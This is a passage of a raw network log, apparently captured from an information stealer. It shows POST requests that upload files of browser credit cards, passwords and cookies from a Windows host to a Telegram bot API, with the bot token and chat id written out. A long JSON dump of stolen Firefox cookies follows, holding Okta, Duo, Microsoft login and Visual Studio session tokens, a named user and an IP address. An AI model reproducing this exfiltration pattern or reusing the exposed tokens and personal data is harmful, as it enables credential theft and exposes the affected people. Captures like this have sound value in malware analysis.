"isGpcEnabled=0&datestamp=Mon+Jul+15+2024+09%3A30%3A48+GMT-0700+(Pacific+Daylight+Time)&version=202310.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&landingPath=NotLandingPage&groups=C0001%3A1%2CC0003%3A0%2CC0002%3A0%2CC0004%3A0%2CV2STACK42%3A0&AwaitingReconsent=false", "Expiry": 1752597048, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Microsoft Edge", "Profile": "Default", "Domain": ".msn.com", "Path": "/edge", "Name": "pglt-edgeChromium-ntp", "Value": "43", "Expiry": 1736785847, "IsSecure": false, "IsHttpOnly": false, "Expired": true }]--11829c8c-009a-4b96-b2bd-bfb7540afe4b--" HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri 03 Apr 2026 09:39:51 GMT Content-Type: application/json Content-Length: 56 Connection: keep-alive Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>7B226F6B223A66616C73652C226572726F725F636F6465223A3430302C226465736372697074696F6E223A224C6F67676564206F7574227D....... "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1 Content-Type: multipart/form-data; boundary="43114c2c-270a-42ea-901e-48b4005ea075" Host: api.telegram.org Content-Length: 285" with payload::==> "--43114c2c-270a-42ea-901e-48b4005ea075Content-Disposition: form-data; name=document; filename=Chromium_credit_cards_DESKTOP-FVVF82A_2026-04-03_10.19.51.txt; filename*=utf-8''Chromium_credit_cards_DESKTOP-FVVF82A_2026-04-03_10.19.51.txt--43114c2c-270a-42ea-901e-48b4005ea075--" HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri 03 Apr 2026 09:39:51 GMT Content-Type: application/json Content-Length: 56 Connection: keep-alive Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>7B226F6B223A66616C73652C226572726F725F636F6465223A3430302C226465736372697074696F6E223A224C6F67676564206F7574227D....... "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1 Content-Type: multipart/form-data; boundary="eeca6710-4829-4338-991c-96c83926f016" Host: api.telegram.org Content-Length: 279" with payload::==> "--eeca6710-4829-4338-991c-96c83926f016Content-Disposition: form-data; name=document; filename=Chromium_passwords_DESKTOP-FVVF82A_2026-04-03_10.19.51.txt; filename*=utf-8''Chromium_passwords_DESKTOP-FVVF82A_2026-04-03_10.19.51.txt--eeca6710-4829-4338-991c-96c83926f016--" HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri 03 Apr 2026 09:39:52 GMT Content-Type: application/json Content-Length: 56 Connection: keep-alive Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>7B226F6B223A66616C73652C226572726F725F636F6465223A3430302C226465736372697074696F6E223A224C6F67676564206F7574227D....... "POST /bot8487823365:AAGkaWI4kvTA3CQkPmOsE3eRSKBfNrEB2P8/sendDocument?chat_id=6789864282 HTTP/1.1 Content-Type: multipart/form-data; boundary="19a9a391-7464-4172-be50-78ff52dabc9e" Host: api.telegram.org Content-Length: 25406" with payload::==> "--19a9a391-7464-4172-be50-78ff52dabc9eContent-Disposition: form-data; name=document; filename=Gecko_cookies_DESKTOP-FVVF82A_2026-04-03_10.19.53.json; filename*=utf-8''Gecko_cookies_DESKTOP-FVVF82A_2026-04-03_10.19.53.json[ { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".mozilla.org", "Path": "/", "Name": "_gat_UA-36116321-1", "Value": "1", "Expiry": 1520275059, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".mozilla.org", "Path": "/", "Name": "_ga", "Value": "GA1.2.12219564.1520275000", "Expiry": 1583347002, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".mozilla.org", "Path": "/", "Name": "_gid", "Value": "GA1.2.411848676.1520275000", "Expiry": 1520361402, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".mozilla.org", "Path": "/", "Name": "_gali", "Value": "skip-button", "Expiry": 1520275099, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/", "Name": "OGPC", "Value": "19005936-1:", "Expiry": 1534048070, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/complete/search", "Name": "CGIC", "Value": "CgxmaXJlZm94LWItYWIiP3RleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA", "Expiry": 1547608854, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/search", "Name": "CGIC", "Value": "CgxmaXJlZm94LWItYWIiP3RleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA", "Expiry": 1547608854, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/verify", "Name": "SNID", "Value": "AGRGHO6QHrVrOxLFGr7rk0whYmanv-Yt0NiPe4u_HLWSmwvfuRb9rKBMkf6HQNvTewpJ2Op8iY-pGQ773aac", "Expiry": 1547382379, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "visualstudio.microsoft.com", "Path": "/", "Name": "_icl_visitor_lang_js", "Value": "en", "Expiry": 1534422385, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "visualstudio.microsoft.com", "Path": "/", "Name": "VSCOMGeo", "Value": "false", "Expiry": 1534422389, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "MC1", "Value": "GUID=17be3a93de2d4ee9b6183870ef7a31de&HASH=17be&LV=201807&V=4&LU=1531830389646", "Expiry": 1563366389, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "MS0", "Value": "95c7cc889f304134945b37edd6a8a421", "Expiry": 1531832189, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "visualstudio.microsoft.com", "Path": "/", "Name": "MSFPC", "Value": "GUID=17be3a93de2d4ee9b6183870ef7a31de&HASH=17be&LV=201807&V=4&LU=1531830389646", "Expiry": 1563366389, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "crowdstrike.okta.com", "Path": "/", "Name": "DT", "Value": "DI0CAq6_IhTSTqow2RunhKcdw", "Expiry": 1594902411, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "crowdstrike.okta.com", "Path": "/", "Name": "oktaStateToken", "Value": "00tWCcr55PVItt5EgoafFC8V8rYoCmZ7mVPUz0Sfff", "Expiry": 1531830724, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "api-81556a20.duosecurity.com", "Path": "/", "Name": "trc|DUD6DIRR543N9IBROX6Q|DAZP9NPAYTJWJEMDJ86O", "Value": "EPZEC9PWG6PELMQIT1R3", "Expiry": 2147483647, "IsSecure": true, "IsHttpOnly": true, "Expired": false }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "api-81556a20.duosecurity.com", "Path": "/", "Name": "hac|DUD6DIRR543N9IBROX6Q|DAZP9NPAYTJWJEMDJ86O", "Value": "|64.124.12.162|1531830438|a70d281e4438b3d8bfe84f32a61684be948d3b62", "Expiry": 2147483647, "IsSecure": true, "IsHttpOnly": true, "Expired": false }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "crowdstrike.okta.com", "Path": "/", "Name": "ADRUM_BTa", "Value": "\"R:50|g:d865668d-daca-410a-92ff-c44770628b5a|n:Okta_6d5b1e30-d05a-4894-a37b-81b5f6c60e0e\"", "Expiry": 1531830468, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "crowdstrike.okta.com", "Path": "/", "Name": "ADRUM_BT1", "Value": "\"R:50|i:11276|e:63\"", "Expiry": 1531830468, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "crowdstrike.okta.com", "Path": "/", "Name": "proximity_0371cacd3c86c11110ce4a7c15c77e19", "Value": "AMZGnO6o/2MBiNoUnYqDF4QuXiAX2tjRZ3EZEWkyQNBJpqvois7unYHbEn9CQk1aRt/dDJ62exueVegL+oeH32etEMYRBZ4mZ5mnucIAjGB7oQDm7xzGBvsn4EOVfUmfP2WoF3BIFXcM/eUVl+BIXrSqz8k2jgHuV2LneZmwtRT4FDljwMnA/ykCkZUy/au0", "Expiry": 1563366439, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".login.microsoftonline.com", "Path": "/", "Name": "ESTSAUTHPERSISTENT", "Value": "AQABAAIAAADXzZ3ifr-GRbDT45zNSEFEqN3lcIcVk_txN002M0aSKQ3vHW-KKOvT0l2FZ5krXRiGe96TPP0Tcdc6aThD24EQH8XwfNYwKzYh6BSJahL-oq-FqtQOVLX6IP0IHlIhxw-Ihyfe0FqrqvTD43U2Y61kdV9Rw3nKJ-o84ELeq6SnuvDQVWEa0gLrhMj6Ik1XYwnl7l6WaT97koJKqKiVkJ1iuYOGM14-4P5Z0RrE80sH9UpU7lILLtXYP0YzVKWnoa-Uwe0dHjL9vSG_PkueznTUAxucsJQk2oUrzIlA1yJUM3SeE_SorL1eWJCWTxwzllEh9ehA55c3PSRxk6_tWpa_Hl9sKQE0AZGVFdH8TNX5OBttLH77N-umvMYVf2FDyTSviNUBGpfuL_nFmLZBw9B8Qwkp7iLFzpMZ_uJIYFzR6AgqEWS-_empWfontUAITrgfrGEpEMBVFXl9OtIHHwXlpol4NUzw6qDIhTaTr_xSOrzPhBOGBZarDixDjEMzYL77D8X2dlwK7zPHgdu0TwDgJ7V_VMbnhivHTN50xlFCMutxdLodQe0yneDFsxtWkDZi-Rl39EBMbfH9HvKOxlkjE5GFIPxcCFvOSHqdohyPLKcqLzR2pHQU3etiM10t3NkgAA", "Expiry": 1539606443, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "login.microsoftonline.com", "Path": "/", "Name": "buid", "Value": "AQABAAEAAADXzZ3ifr-GRbDT45zNSEFERgmHaE21nvvOTVY2_75NkZGI-YsBWBOulFAsZCsrrazoD5DQYQgBT_JZuf__eWQggSLq9PdegrrzFZkXIh3A2gMy_FuhlXOW57d9R1-d9Uuti08zZmHg5eKAHcXs5BhZVzGDuYQQwVXl-TJShRyYQXZ3-1bRaTsFO7WjwrAFzCEgAA", "Expiry": 1534422443, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".login.microsoftonline.com", "Path": "/", "Name": "CCState", "Value": "Q3VjRENrUnRZWEpqTG5KcGRtVnliMEJqY205M1pITjBjbWxyWlM1amIyMThZWEJ3T2pRNU9XSTROR0ZqTFRFek1qRXROREkzWmkxaFlURTNMVEkyTjJOaE5qazNOVGM1T0JLVEF6Q0NBWThHQ1NxR1NJYjNEUUVIQTZDQ0FZQXdnZ0Y4QWdFQU1ZSUJTRENDQVVRQ0FRQXdMREFWTVJNd0VRWURWUVFERXdwTlUwbFVJRU5CSUZveUFoTldBRkFQYkxqbkNEUUZXZllJQUFBQVVBOXNNQTBHQ1NxR1NJYjNEUUVCQVFVQUJJSUJBR08rUElFbUptYm5JUllvRjRXRXNxZ2l4VXFFTmJNd0V4TnpFQW1FbHRZa2dYRnZNOXV1MnBCTmVmV0ZxWEhTTHlUSklUaE1UcUhrUW9OemYwUndpN2pLVTZFUXd4V0UweitoQmxoc29DNlExRFI5NjFDR2pydnZCMkgvOTBYbEJYY2l5YTdtVTQvd0xPcDJ6M0R0UFR0N0k5TDU3bGNyM29lL2RGL1E5dElFM21QSks3NmlpK2I1M25wTXYrNEE0WXRNTVdwUUdjVGZMYkd6R3plamV0MVJKZUNkaTVIUk5tRzB5b3ArOUMwTExhSCttNmI2UGlCMG5GdmcrMWk4bFV3dnhFZW84dnhxU25xLzYzd1hyTUlHMzM4cVNWeTh2Mm92MmtPSjRvVW5rOG9QU1YyWTZmQldEcDZ5VHFRanU0Sy9WRFU3VVNvbkt1MzRiMU93WWswd0t3WUpLb1pJaHZjTkFRY0JNQlFHQ0NxR1NJYjNEUU1IQkFnQ0JldldwU3c2UVlBSUxlbmY0ZTlqZ1dnYUNRbHp5UVh6Myt2VlNCSVNDaEQ3SmY1Y1cxSmxTcWp4a1dTUitBWnZHZ2tKdDJ2WXBlRHIxVWc9", "Expiry": 1534422143, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "app.vsaex.visualstudio.com", "Path": "/", "Name": "FedAuth", "Value": "77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U2VjdXJpdHlDb250ZXh0VG9rZW4gcDE6SWQ9Il8xMzY5OGEwMS1iMDllLTRjZDYtYTRhNi03MjEyYWRhZTFkYTItQTY0NzUxQjY3RDU2NzgzODc5NDBFMkM1RkM1NzA0RjMiIHhtbG5zOnAxPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy93c3MvMjAwNC8wMS9vYXNpcy0yMDA0MDEtd3NzLXdzc2VjdXJpdHktdXRpbGl0eS0xLjAueHNkIiB4bWxucz0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvd3Mtc3gvd3Mtc2VjdXJlY29udmVyc2F0aW9uLzIwMDUxMiI+PElkZW50aWZpZXI+dXJuOnV1aWQ6OTU5YWUwYzUtMGM0Ny00ZjkzLWExNTYtNjM1Njc1ZTIxN2I4PC9JZGVudGlmaWVyPjxDb29raWUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwNi8wNS9zZWN1cml0eSI+MFlkQ1daWk9tSTRBQVFBQWVLNUJsOHJtSHI0c1dDcitMbjBzM3ZOSEkyd0hPcnhiUzJsT1VlL2VLYkZuUGdiZGUxQmJqcGdDcjFEMXhEOXBZRm8rKzVUNUF1MXBnc21VWEtiWDlvSmNNeTBTRURzcmk5WkhDWFZieUUrSTIzencyK2JZaS9JRklrTUtmQXlXTk5YMmhUSDM0OUZaS3M2M09DR0hLVGJVT3lzSTBodk90REF3Znk3NG9aMUx0U0VVVkloMmNqc25adVEwcUNHeEZIenhYR2thMjRIK1FWeitnb1ZHd3RjeFEydkh5cGdVYVZQYVN1U2hLWmEvd1lQME9uendhT3lVa0F6ZWJPR2RUSm41Zzl3WjI4bWJSUnkvOVlEQnJKbUE3ZDJBTWcvdUx1NDU1TjdSQWp5ZWgvbHpIRm00amtaVm5QVTl6T3pwVEZuUFhrSUo4R1NhVzhrYlhEYkNDTVJrYUxRM09ibEdUUW9qWmp4TU9rb2VQeFVkcjhxcks2MDE2Y05ncGdNUkFBRUFBS21NbVljWm9VR3ovcGxYblJwcm5jWDVMbXBpemFpYk5oNkFtY0U1TVQ1bm9CMklpbU9ZQWZITVNpc2dBQUZDdEFNM1d6Nk80Y3dnblBJSlVuZmEreUVFdm5xVUZ3VVRLeUlEdTZFN1I3Ykh2UWFudGpPZTdQZnpTTzNmYVZ2UEFEaGROQzFqK0ZzdFBpWXA2aWFHM0tPaGJiRXduTWtyeEdybmxTVkxFRVIxVmg0cFJwSzZRSm5lMG5qbDJDYWNVYm0zVGFNNXBYZzFZcWtvT0drNURwMnZqNUJqRGtXdXBTRWJhb3A5VzZqWHQvbWNrcTRKYnA5SFB0QzJiWVhnQ2pVWXZuUXlhRkVYVlcxTUxiclFpSkczL29tY3NFWHpNODgwQk4xY0lSS3gxOXRHVmdlT3VxR29uYWdNbSsyWDY1OXV1Wk1hMklWVVNscHZHZ2ovSkREZ0F3QUFjQnRRU0xMOXcvSXRHeTF4MDZ4VUJwZGRBZ2tPOWxLQ0JNWE1hbW8vZDQ1WG82UTBYdDQ5aFd4UjU2c1ZNZXhuTk9xRjFKNzZxSzFDTXNNdnpLQmorUWhwUkxUS3lsaDZwaVJLK1Y1WjZ5bjQzVkMvTW5WMVdVZEFCN3FtbmZaa1V3UnBYeTgvbjVoODVhTW8yQTBSSlJBdklMbm9HaEN6dHBOWVBFNXN2d3hETEw0SkJlRnFXVzVhSXVNUU9sb29udnBFYy9OVThncElod1dabDQzMkNFanVNQkxmNHpCL2R0Um5IR3lXbDJvWWJoSWVIK0RaLy8yNmRGa0JBMnYxZm9nSXY2b25LY1NiZlYzUWJ3QnBvMC9VQ25nZnJEMis4MGE3azJPTERVOUl2MTV6TzZT", "Expiry": 1532435243, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "app.vsaex.visualstudio.com", "Path": "/", "Name": "FedAuth1", "Value": "MzBwcUQ4d3BNZHZ4cDhCd0ZacFdrWlNrYUM3VFFEbWkreHptSm9VN1dmazgya3FQajVjVzZvd29jenFiVnc4cVhua213eDJJZ2RjWXFnNkNCZXByU0x6emJ4cEY3RWM5Zmg1NUxjb2wxNzlCTmFsS1hCcElXZ0hyRS8vQk83Q1gwMHVCVTB5aldndzYvVUNPNlNVYlN3TGUzTVdISWZUSzhBZ2JVSS9MMXhlUHErMmh6aTJUYWZrZkxVMkd6dlFyT0F3SlAzSlk5TzBNQ1Q0RHhPOEw4NVBBS1BzMG8rSWtTM2JyTlhJRmFsSVI0WnkzWHkxRGMrNU9heVB0MzJHc1ZsenorZE5hRjNaQzBCcmI5Z2lKcktlQitOclU3aFhtbWVaczQ2VzZXREhWMkVBT1RNUnpKOWUrcGEzRmxMQmxGK3Z4ZTRPbCtlWDltSVlCVG8wczA4NXJkTDhjK2JJMUJQU0JWTGp1aE5BY2VEamZEQnVKN2JVS3hINmNQWHJsVFZVVndKM2NXUVhHVHBJaTJjb3pPTk9Ud3l5K0lvM2o4ZXRYRjZNZDhRRFdJMGVqK2c0R3QrVlJOWHFGR0tHSS9iKzNtdDRjcnhhMXdhYUt1cDVpYUN1RG9qZmFNdEFyeC8rQi85WFVsaEJSek1TRDZMRTJkSUhQbitmL3NOUUticHBrWnpHaEdlM1dKL2kyU2JudVcvTDFTbHExdy9SQWRjV0VmWW5leWNnYzlERlF3SmVnT1gzbjJPcm42OUFxM3NselhTY3RaazVobWowNGttSUh5YU1rbUd3OWJsQUdVY2NKYjdtUUF6NkowYlNRNlZOV2RjSGpCTDduZW80OU40c3NPa3VWNDBpTE0yQUxHMy9ZK0dFMVhmejBhNDN6YlFVdTM0L1o4cmxzbkI2YXZEc3hRVVdpd3NIMmdoWDd0MCtpNU5LckwyMVlEbVl5TFhNVjNxaU5LL3hRRjhFMStETE5RZ1l3ZzJzODJPT0FYZVZjSHpzbXYrV0UrVjEvRzB3OVVZZTlRMndmczNrZEhiUVQySDZVVEhIaUNjbDFJa0tsNlh0STlMNG10cXlZUldpK2ZYUzJDZVpFVjFYNjZlaE5pVUxUS0dGaTNPMVFuSlBwVHVJL2ZZeFJWc0hRMGVwYVViQjJFRjR4ZVBmREtVU3BXNG5ueDhhL0w0MTRYY3hCU3JDNE43WVAwNG5Pd3pzbjNlVHZTOW5samxkbnA1TTJGdHYraTRWYlFCUjVhZWFYa29Tb1BpRW5oL2x3YSszVkduTTBEaGUvTVdHMzhWcitCelBiNEEzSUhyL0oyeW5za3NYSjU5TDdpS3RqdUU5akZKVmM9PC9Db29raWU+PC9TZWN1cml0eUNvbnRleHRUb2tlbj4=", "Expiry": 1532435243, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/", "Name": "NID", "Value": "134=DJVDrFMJ_7WTMaThq4BwXW48xuuFIjrxm6k6mZ_-IesJ-g-kLcQY3mKLWPvC920yPSSa9r-hjI1JU5myF94eyuiNLyOIiQ47NoAWAf2r4JCnxGybgSxyJy1gh2I-6ic3JfcTIYjB9Bc", "Expiry": 1547382453, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "www.google.com", "Path": "/", "Name": "DV", "Value": "gw7SsgaDfBIQ0N8QXx_eM9eFGkqDShY", "Expiry": 1531831057, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "_gali", "Value": "c-shellmenu_85", "Expiry": 1531830496, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".visualstudio.com", "Path": "/", "Name": "SpsAuthenticatedUser", "Value": "DisplayName=Marc%20Rivero&aad=False", "Expiry": 1532435266, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".visualstudio.com", "Path": "/", "Name": "VstsSession", "Value": "%7B%22PersistentSessionId%22%3A%22d4708cf3-5d30-49b9-a6ff-e56cc387292d%22%2C%22PendingAuthenticationSessionId%22%3A%2200000000-0000-0000-0000-000000000000%22%2C%22CurrentAuthenticationSessionId%22%3A%22a452f370-9678-4bfb-bfa8-2d1cd43699e3%22%7D", "Expiry": 1689510466, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "app.vssps.visualstudio.com", "Path": "/", "Name": "FedAuth", "Value": "77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U2VjdXJpdHlDb250ZXh0VG9rZW4gcDE6SWQ9Il8yMmNjZWU4ZC1hMzdmLTQwYmQtYTZmZS1mOWRhODEzNjQ1ODEtNEI5N0I0REMyNDU0NEMwMEJCNjA0NjM3OEI2QTk4OEUiIHhtbG5zOnAxPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy93c3MvMjAwNC8wMS9vYXNpcy0yMDA0MDEtd3NzLXdzc2VjdXJpdHktdXRpbGl0eS0xLjAueHNkIiB4bWxucz0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvd3Mtc3gvd3Mtc2VjdXJlY29udmVyc2F0aW9uLzIwMDUxMiI+PElkZW50aWZpZXI+dXJuOnV1aWQ6MTIzOGQ2M2YtNDA3Zi00MzA2LTgxY2MtZGMyMDgwNDFmMjE1PC9JZGVudGlmaWVyPjxDb29raWUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwNi8wNS9zZWN1cml0eSI+MFlkQ1daWk9tSTRBQVFBQWJwWFNSbnlLQVo0VHpWbXdOTDB6WVVrQTBTRDBaUTJqa24xMW8xTUp4SXhSUkcvUGhMWEZVU0FSdDBVcHNsSC9MRStmMWJRUXo1RFI1Ny9rdWFCSVYvall2MWp4TkRLQ2YrSThwZm5qanMvd3Bna0ROWGhMakZqczB3OHpGcXhDZ2VpeHhHaW9CN1NIYjFWWm9JV3krY0FCUThoNUIvZWxDUTFYUFd4NnRLT3lxY0tjYWdMb3BRQ3NjbVQwZ1oxUzE3T0FTYmxxc0VZRWlra0hsOUtZTmt2QmVUQ1VDQjB6cmFtakNFWG1WdVZteWx1eWRtM2hZZWFob0U4WW10ZmtYVkRDbXdMRHpPbDRJTk1nRDBIdUluNUd2ejh5SkxWUm5NV2NjZ0xBVnA5MXFvMksyWEpJczVnZjQxdUF3UmFTVU54UXY1TzdRMkUwSitla2wxcGxmTVJrYUxRM09ibEdUUW9qWmp4TU9rb2VQeFVkcjhxcks2MDE2Y05ncGdNUkFBRUFBSzg1NFQrMlR3cmJJYWY4TjhKQ3p0TnYxV25ESG5QaFZwTGZjVlB2Zk9nczExdlloanJyRTNXcENLdjVPN0JrRHdxQWprNHBZWm5QL0J4QU5lbzJMajJwcEFHUnk5ZzNqUXZxTXFEckUvOUl6MHNscXlLb2dETTQxQ0NEQVJHaGV0SFIyTWwrR1hNdm9tWVpGRmw2citxRTk1L2FURW1GUjlGbytCM3grSnFUV2FKNW15bmo2UHRSdjlVaEdFdTI2c2ZzeXgwbWVaVCtqb2pLUE56cytkaDV2ZHd3RENJTWpjYWlvYU10L0N5VkVnVml0ODE4Wi9QeHNSVk1XTUhzY0F1dmdNd2FpaEZNeHdRYisyZzQwSXpIcWptSkhIYlJKUWc4THQ2bVpsWXBhQXI5NWhtRS9uY1VzYXRtTU95Sng5YlFJUU5CR05ZQ25zL0hZcFZLQkI0QUJBQUF0Q2RWc29HRHp4cWQ1OS9Fb2IwUkVLTmczVzUzQUNRSDM1SlNoalM4RXNSRTVYTDNxa24zVUtXMVoySG4xNmZEd3RqYzNIUi9NU1ZxSHpWVTM3b3hYOU13TzZxTUFQZE1mMG1IbjZnRkRvQ1RuZUN5eHRkTnp3RFRZUWxKK09PWUl3L3hGNFZEc1ZudjRjUVdXWWtqUmtRVlFkZFFMdFIwRUVxRUJPTTdHUmlUamdQWTg1enJQelRQeC8xS2NnYVBHRFNYRXVvQWVJMm00eCtzOExPM1ZCVUx1VHlsMWc3ZnU4aHJFdW9HTG5lVG5vZnRadm9hRFhQTE9aZnpOUysrenk5ckxjZEJDai9CenMrS1FvYWpHQWcySzB1enJvWHRDdWZNVlFwc1lqeEVJZk9teWhH", "Expiry": 1532435243, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "app.vssps.visualstudio.com", "Path": "/", "Name": "FedAuth1", "Value": "a2s4Qzh4SFI0YUZHbzFiVkFVWDJHdUJuMUZpNXBIUEN1R0NDZ0t6amZqVys4QlA4YitKQ1c0VmVjeWdTdlVrSUVqc3JiWm1ld0ptYnVaQ21PaENaSEN2U2NUS0FIWDJ0UXQrU3loQVV2eGVreWhrY0xIeTVpOHRWUnJRM0RCNmpUdE56YjlpNjV1bzBUc0lOZ1FpWFdZNUZEcDk5dVdQM1J2TGR1UEg4WXd4Y2tnZUJCNDh5ZnAvcTNyOVNENms5YTFadXRtYi84Vy9nZHpyMWsvL0pNWEpzb0h2cDNJRGxVK0JOOVdhT3dCamdURTJ4T3RZV3RvOWJUMVJxN3hUb1RwVFlkQ1V0QmtvYk9RMmpCTmZpQ3dOYmsvaDlCZUFHT2xxVmE3MGNwajRPbEJtMUg3dzVXWk80czVkVlhvTHdQMVV2bWdDQmpJOWtFbTNLbXlDWlBoWkozQmthTzBPYjl5cHFvcnEvNVZsVWU0cm1keGRTM2xZRFRheFhmSUwxR1hFTVhVRndBYzhvZHJNYjlrME9LR1dIK0xIZmVYQVo2RFFLcWMxcllFd0tpaExLRFRMR2M1Z0tNQStpMmF5MmVnNldvbExCSVJ5WjgwZTBOb2NralFQOHlkTVJXUlcrU2V3eVlJbitaM2UxSG1JTTdmWDh0cTFZWm0ybCt3QzUwMEpWVnVqOUJTL1FSZ0lSQjd2b0MvZEwrYlNHMm1VcHFwd081RmtTNktvQkxPdDZHOG1yaStPUHkrR1IwVk1qUVVzUERGT2JBdlVLcTFjejBENHQ1YmRFcllsZHRtRU43azl2YzRrckdvR2lDbTViSWJlTnQ2NlJBODdtYXgzMStCNmtBd3ZUdkFlcWhra0N1Sm43bStleWR1QVJSbmV6d3kwYnJEVU9KNFF2TkJjeWFFSWdHRU9zWU91dTYzYUdybUxLTStqV0NlNnQrTkxrbUtJWEVqbW5WZzR4S2htME5KMzI1bWt6RmhuMEppTTRTNTQrUFlpTUdnQ0xYZTQ3Ly9nY2xIaVFvS2E5UVJ4ZE0xUGRBZG9wcGdHMXJ0N09NK3NMZ25HdThtUEtUTFJmOFFpcnM3MlVjMURoc0Rnajl1UjAwWis5T0RrZ090c3BqM2FzVHAwZTI2QmJnTHMza2hIY09Ia1lXS1JGcFZBRU5JMi85UWNaejdZQ2pGKzVqWDJ5dDRPSVZTdXhlN1FENmdyajBsM1FSNUhUNWhOMWlWOEE5S2lQSjFaRWpsN1p5M3E5TUVxRDE5UnBuMHNYRlhHenU5NVRHMmpPY3psQTQ5QnkrMkptbk11VFhMYTJUbnd0RDlXRnlqbVlKMW1OWTRFdFVrWkg5UGpmWjBGbCsrYzZkTlphbU1sUm9aaGRvVjZieCtTbVFIaUlnOVVkWkZnPT08L0Nvb2tpZT48L1NlY3VyaXR5Q29udGV4dFRva2VuPg==", "Expiry": 1532435243, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": 